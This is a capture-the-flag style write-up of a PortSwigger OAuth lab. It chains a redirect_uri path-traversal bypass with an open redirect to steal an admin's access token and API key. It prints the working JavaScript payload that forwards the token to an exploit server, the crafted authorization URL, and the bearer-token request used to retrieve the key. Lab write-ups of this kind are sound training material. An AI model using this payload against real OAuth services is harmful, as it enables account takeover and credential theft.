| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | OAuth 2.0 / Open Redirect |
| Difficulty | Practitioner |
| Objective | Chain a flawed redirect_uri whitelist bypass with an open redirect to steal the admin's OAuth access token, then call /me to retrieve the admin's API key |
Stealing OAuth Access Tokens via an Open Redirect¶
I accessed /my-account as wiener:peter. The authorization request used response_type=token — the implicit grant.
After consent, the provider redirected to the blog's /oauth-callback with the token as a URL fragment (#access_token=...). The callback page read it via JavaScript, called GET /me on the OAuth server, and used the profile data to establish a session. The /me response for wiener included an apikey field — the target for the admin.
URL fragments are never sent in HTTP requests — they only exist in the browser. That's the fundamental challenge: we need JavaScript on our exploit page to read window.location.hash and convert the token into something that actually reaches our server.
Swapping redirect_uri to an external domain returned 400 Bad Request — redirect_uri_mismatch — the provider validates against the blog domain.
We need a page on the blog that forwards traffic — an open redirect. Browsing posts revealed a "Next post" link:
<a href="/post/next?path=/post?postId=2">| Next post</a>
Testing the path parameter with an external domain:
Open redirect confirmed on /post/next. Path traversal in the redirect_uri value let us slip past the whitelist check — the URI starts with the right domain, and ../ collapses so the actual landing page is /post/next:
GET /auth?client_id=dbd1vl68eekvtgbqs6mgf&redirect_uri=https://0afb006b04d60f1a83a2ce7a00f6000d.web-security-academy.net/oauth-callback/../post/next?path=https://teto.com&response_type=token&...
302 Found — accepted. Pointing path at the exploit server to confirm the two-hop chain:
The token arrived in the fragment on our page, but the exploit server logs showed nothing — as expected. The two-stage if (!document.location.hash) pattern handles this: first visit has no fragment, so the script redirects into the OAuth flow; second visit has the fragment, so it rewrites it as a query string and navigates there, making the token visible in the access logs:
<script>
if (!document.location.hash) {
window.location = 'https://oauth-0adc002a04ee0f9083d1cc1a02590094.oauth-server.net/auth?client_id=dbd1vl68eekvtgbqs6mgf&redirect_uri=https://0afb006b04d60f1a83a2ce7a00f6000d.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a4200fa04710f5483e0cd62010200f6.exploit-server.net/exploit&response_type=token&nonce=-453772132&scope=openid%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
Delivered to the victim:
Admin's token in the access log. Using it directly against the resource server — a bearer token is a direct credential, whoever holds it can make API calls:
GET /me HTTP/2
Host: oauth-0adc002a04ee0f9083d1cc1a02590094.oauth-server.net
Authorization: Bearer INm1moTjmUfTDgIicved0BMuiwtmM5PCm0TlJajxx1D
Response contained the admin's API key. Submitting it:
And now the lab it's solved